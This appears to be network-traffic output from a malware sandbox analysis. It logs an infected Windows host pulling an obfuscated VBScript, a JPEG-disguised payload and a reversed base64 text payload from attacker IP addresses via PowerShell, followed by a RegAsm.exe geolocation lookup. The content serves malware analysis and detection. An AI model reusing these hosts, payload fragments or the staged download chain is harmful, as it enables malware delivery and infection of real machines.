Jul 26, 2024 13:08:53.571564913 CEST	1236	IN	Data Raw: 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 Data Ascii: age") & platinamina & _acovar("L_HelpUris_011_0_Message") & platinamina & _acovar("L_HelpUris_012_0_Message") & platin
Jul 26, 2024 13:08:53.571603060 CEST	1236	IN	Data Raw: 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 69 00 73 00 5f 00 30 00 31 00 35 00 5f 00 36 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 Data Ascii: acovar("L_HelpUris_015_6_Message") & platinamina & _acovar("L_HelpUris_015_7_Message") & platinamina & _acovar("X_Hel
Jul 26, 2024 13:08:53.573201895 CEST	1236	IN	Data Raw: 63 00 68 00 65 00 73 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 0d 00 0a 00 0d 00 0a 00 64 00 69 00 6d 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 45 00 45 00 20 00 0d 00 0a 00 70 00 6c 00 61 00 Data Ascii: ches_Message")dim platinaminaEE platinaminaE = meleanteacovar("L_HelpAlias_001_0_Message") & platinaminaE & _a
Jul 26, 2024 13:08:53.573237896 CEST	1236	IN	Data Raw: 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 Data Ascii: E & _acovar("L_HelpAlias_011_0_Message") & platinaminaE & _acovar("x_HelpAlias_012_0_Message") & platinaminaE & _aco
Jul 26, 2024 13:08:53.575146914 CEST	1120	IN	Data Raw: 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 34 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 45 00 Data Ascii: HelpAlias_004_0_Message") & eplatinaminaE & _acovar("X_HelpAlias_005_0_Message") & eplatinaminaE & _acovar("X_HelpAlia
Jul 26, 2024 13:08:53.575184107 CEST	1236	IN	Data Raw: 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 34 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 70 00 6c 00 Data Ascii: acovar("L_HelpAlias_014_0_Message") & eplatinaminaE & _acovar("X_HelpAlias_015_0_Message") & eplatinaminaE & _acovar("
Jul 26, 2024 13:08:53.576875925 CEST	1236	IN	Data Raw: 6f 00 76 00 61 00 72 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 37 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 70 00 6c 00 61 00 Data Ascii: ovar("X_HelpAlias_007_0_Message") & oeplatinaminaE & _acovar("X_HelpAlias_008_0_Message") & oeplatinaminaE & _acovar("
Jul 26, 2024 13:08:53.576910973 CEST	1236	IN	Data Raw: 69 00 61 00 22 00 29 00 0d 00 0a 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 4f 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 59 00 43 00 53 00 43 00 52 00 Data Ascii: ia")private const L_OplatinaminaYCSCRIPT_Message = "Can be executed only by cscript.exe."private const L_UNKOPNM
Jul 26, 2024 13:08:53.578710079 CEST	1236	IN	Data Raw: 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 75 00 73 00 65 00 20 00 6f 00 66 00 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 6c 00 69 00 6e 00 65 00 2e 00 20 00 54 00 79 00 70 00 Data Ascii: = "Invalid use of command line. Type ""winrm -?"" for help."private const L_HELP_GenMessage = "Type ""winr
Jul 26, 2024 13:08:53.578752041 CEST	1236	IN	Data Raw: 4f 00 4e 00 4d 00 49 00 53 00 53 00 49 00 4e 00 47 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 3d 00 20 00 22 00 41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6d 00 69 00 73 00 73 00 69 00 6e 00 67 00 22 00 Data Ascii: ONMISSING_Message = "Action is missing"private const L_URIZERO_Message = "URI is 0 length" private const

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49171	198.46.176.133	80	3240	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:56.389775038 CEST	79	OUT	GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Jul 26, 2024 13:08:56.914166927 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:08:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A
Jul 26, 2024 13:08:56.914302111 CEST	1236	IN	Data Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
Jul 26, 2024 13:08:56.914315939 CEST	1236	IN	Data Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a Data Ascii: cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 26, 2024 13:08:56.914815903 CEST	1236	IN	Data Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 26, 2024 13:08:56.914829969 CEST	1236	IN	Data Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 Data Ascii: W\`tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 26, 2024 13:08:56.914843082 CEST	1236	IN	Data Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6 Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
Jul 26, 2024 13:08:56.915738106 CEST	776	IN	Data Raw: 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b 95 da c3 9e e7 f8 b1 d9 4b ad 3a 00 3e 7d 30 31 fc 69 61 85 16 38 c2 07 2d b8 ed 51 d2 b1 3d 0a 22 d3 b9 a2 Data Ascii: 4n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]UCK)\Foi2(3++GE/&8eU[:dW)V?L(D(E7,h$`c}f )nsgS
Jul 26, 2024 13:08:56.915750980 CEST	1236	IN	Data Raw: 77 28 e3 f2 cf 90 fd 9f d6 ce 9e 21 04 6b 65 06 ea ff 00 94 e6 f7 89 3f df 10 a4 c8 76 df 61 ce 07 b7 d3 7d b9 d3 6b a2 13 9d 33 2e e1 60 58 e0 7b 61 a3 fb 5d a5 78 d1 fc 96 50 5a 88 27 ae 7c eb 45 a5 3a 3d 3b 22 bb 30 26 d4 1e df 0c 2b cf a8 30 Data Ascii: w(!ke?va}k3.`X{a]xPZ'\|E:=;"0&+0=,GCtylaJl,c}SuFX'0p2KFKk"sg#!;)\|+MYe6]M}GBV)
Jul 26, 2024 13:08:56.915761948 CEST	1236	IN	Data Raw: 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 23 08 05 05 e6 c6 03 83 ed 4e 9a 37 3b 34 ee 6f b5 8c 28 fb 57 a7 dc a8 74 f2 82 45 f5 cf 39 e5 d9 65 08 a0 1a f5 77 19 67 81 9a 88 20 10 7d fb 60 6e Data Ascii: ;7 B>9WSSHTs8rSSI#N7;4o(WtE9ewg }`n7jUZ"t;BxYNit!R[CH0/j9G]+B69<A_&M0gvfBEWJ%A(F ey{=^,<7Rg:)%Y
Jul 26, 2024 13:08:56.915774107 CEST	1236	IN	Data Raw: 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 Data Ascii: qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@BH5`CQx`,dd&<`iA<i;As-#@+4e8L04
Jul 26, 2024 13:08:56.919548035 CEST	1236	IN	Data Raw: c6 c2 f8 ab b2 3d ce 79 ef b3 97 0c ba a7 20 b2 aa 8b 0a 2c f5 c0 d3 d6 f8 52 ea 27 92 51 a8 68 8b 20 46 55 5a b1 de f9 ce 8b 40 74 f1 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e Data Ascii: =y ,R'Qh FUZ@t#K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49172	192.3.176.174	80	3240	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:08:58.938898087 CEST	74	OUT	GET /60/WDER.txt HTTP/1.1 Host: 192.3.176.174 Connection: Keep-Alive
Jul 26, 2024 13:08:59.452513933 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:08:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 02:37:01 GMT ETag: "a1000-61e1d62d98767" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
Jul 26, 2024 13:08:59.452575922 CEST	1236	IN	Data Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34 Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1AUN8UDO1gSNkUDF0wPN
Jul 26, 2024 13:08:59.452613115 CEST	1236	IN	Data Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44 Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
Jul 26, 2024 13:08:59.452651024 CEST	1236	IN	Data Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43 Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
Jul 26, 2024 13:08:59.452687979 CEST	1236	IN	Data Raw: 79 44 6a 38 51 49 50 38 78 44 64 38 77 47 50 6b 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 Data Ascii: yDj8QIP8xDd8wGPkxDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv
Jul 26, 2024 13:08:59.452719927 CEST	1236	IN	Data Raw: 41 33 50 6d 39 44 58 2f 49 31 50 49 39 6a 50 2f 49 7a 50 6e 38 54 48 2f 4d 78 50 4a 34 7a 2f 2b 51 75 50 4a 37 6a 70 2b 4d 6f 50 6f 35 6a 58 2b 51 6c 50 4b 35 44 51 2b 59 6a 50 73 34 6a 49 2b 67 68 50 4f 34 44 42 39 6f 66 50 77 33 6a 35 39 77 64 Data Ascii: A3Pm9DX/I1PI9jP/IzPn8TH/MxPJ4z/+QuPJ7jp+MoPo5jX+QlPK5DQ+YjPs4jI+ghPO4DB9ofPw3j59wdPS3Dy94bP12jj9YYPv1zS98APRzDl8gFPJxjO8cwO/vzO7MzOroz464rOcqzd6gmOZlDl4Y0Neejg24vNhPTFz8gM7LT3yssMGHzZxMTMCAD/wUJAAAAtAUAcAAAA/o6Pb+zj/83Pi9jW/AjPp7Ty+0rPx6Tn+EpP
Jul 26, 2024 13:08:59.452756882 CEST	1236	IN	Data Raw: 33 44 6d 39 41 55 50 77 30 6a 4a 39 6b 52 50 50 30 44 41 38 59 4f 50 66 7a 44 32 38 45 4e 50 65 79 54 69 38 51 49 50 7a 78 54 61 38 73 45 50 76 77 54 48 38 73 77 4f 38 76 6a 67 36 6b 6e 4f 53 6c 7a 35 35 41 63 4f 62 59 6a 55 32 4d 54 4e 46 58 6a Data Ascii: 3Dm9AUPw0jJ9kRPP0DA8YOPfzD28ENPeyTi8QIPzxTa8sEPvwTH8swO8vjg6knOSlz55AcObYjU2MTNFXja1kAN9QDM0gyM7LTxyIoMhJTWyEkMtEDYxEDMBDjdw4GAAAAbAQA4A8j8/s+Pr+DT/8hPc7T0+gsPk6jf+YnPX4zD98dPO3TI8QLPUyTZ80FPFxTO7I/OevDp7AkO1rD76MuONrTw6MqObqDk6coOxpzW6AiOVoDD
Jul 26, 2024 13:08:59.452788115 CEST	1236	IN	Data Raw: 4d 58 4f 75 6c 54 61 35 34 56 4f 43 6c 54 4c 35 6b 51 4f 45 67 7a 2f 34 51 50 4f 59 6a 44 74 34 63 49 4f 43 69 54 66 34 49 48 4f 57 68 44 54 34 34 43 4f 70 67 44 4a 34 6b 78 4e 39 66 7a 38 33 67 39 4e 54 66 6a 7a 33 4d 38 4e 6e 65 54 6e 33 49 34 Data Ascii: MXOulTa54VOClTL5kQOEgz/4QPOYjDt4cIOCiTf4IHOWhDT44COpgDJ4kxN9fz83g9NTfjz3M8NneTn3I4N9dDe302NRdzR3wyNncjI3chNkbDw2srN2azq24oNqZjN2URN9XD+1MfNoXj11QbNmWjm1sYNyVzS1MUNsUDH0AONYTzu0YLNxSDX0cFNFRjP0gDNxQzBz0+MZPT0zU8MoOjnzs3MxNDXzs0MpMzHzIxMJIz7y4tM
Jul 26, 2024 13:08:59.452821970 CEST	1236	IN	Data Raw: 4c 6a 6c 79 55 6e 4d 52 4a 6a 53 79 55 55 4d 56 48 54 47 77 6f 45 41 41 41 41 51 41 51 41 41 41 38 6a 6c 2f 45 35 50 79 35 6a 64 2b 55 6c 50 78 34 6a 4b 2b 55 53 50 34 79 44 7a 38 77 5a 4f 41 6c 6a 4e 79 63 72 4d 51 41 44 34 77 6f 4c 4d 64 43 41 Data Ascii: LjlyUnMRJjSyUUMVHTGwoEAAAAQAQAAA8jl/E5Py5jd+UlPx4jK+USP4yDz8wZOAljNycrMQAD4woLMdCAAAwCADAPAAAwPn/zy/I3PYlTG4YLOkhDY4wFOYhDV4AFOMhDS4QEOAhDP4gDOcUTYzQAAAAANAMA4AAAA2wjN4YDN2AjNsYDK2QiNgUDl1wRNYUDF1ARNMUDC1QQNAQDdzw/M4PD9zA/MsPD6zQ+MgPzVyAuMcLD2
Jul 26, 2024 13:08:59.452858925 CEST	1236	IN	Data Raw: 77 41 4d 47 41 54 41 41 41 51 41 59 41 77 41 67 42 41 41 41 38 7a 2b 2f 55 2f 50 76 2f 6a 36 2f 51 2b 50 65 2f 44 32 2f 4d 39 50 4e 2f 6a 78 2f 45 38 50 38 2b 6a 74 2f 41 37 50 71 2b 54 70 2f 38 35 50 5a 2b 7a 6b 2f 34 34 50 49 2b 6a 67 2f 77 33 Data Ascii: wAMGATAAAQAYAwAgBAAA8z+/U/Pv/j6/Q+Pe/D2/M9PN/jx/E8P8+jt/A7Pq+Tp/85PZ+zk/44PI+jg/w3P39Tc/s2Pl9DY/o1PU9jT/k0PD9TP/czPy8DL/YyPg8zG/UxPP8TC/QgP+7D++IvPt7z5+EuPb7j1+AtPK7Dx+8rP56zs+0qPo6jo+wpPW6Tk+soPF6zf+onP05Tb+YmPg1z+9QBPIyDR8cDPwwjK8QCPTsj97E+O
Jul 26, 2024 13:08:59.457859993 CEST	1236	IN	Data Raw: 70 6a 61 36 59 6d 4f 69 70 6a 55 36 30 6a 4f 72 6f 54 49 36 63 52 4f 37 6e 44 37 35 30 64 4f 57 6e 44 7a 35 49 63 4f 34 6d 6a 72 35 51 61 4f 78 6c 44 57 35 49 55 4f 70 6b 6a 49 35 59 52 4f 50 6b 44 43 34 34 4e 4f 55 6a 54 7a 34 59 4d 4f 2f 69 44 Data Ascii: pja6YmOipjU60jOroTI6cRO7nD750dOWnDz5IcO4mjr5QaOxlDW5IUOpkjI5YROPkDC44NOUjTz4YMO/iDu4QIO6hzc4sDO0gjF3o/NpDAAAAHACAIAAAQOikzG58QOIgT/4YPOujD34wMOFjTu4ILOkiTn4UJODizc4wGOghTW4sEOEhDP4oCOagzE4cAOAcj83s+NjfT038xNScDB2EvNibjr2AqNPaje2oiNdYzD1wfNtXDq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49174	178.237.33.50	80	3384	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:09:03.401309013 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jul 26, 2024 13:09:04.026494980 CEST	1170	IN	HTTP/1.1 200 OK date: Fri, 26 Jul 2024 11:09:03 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 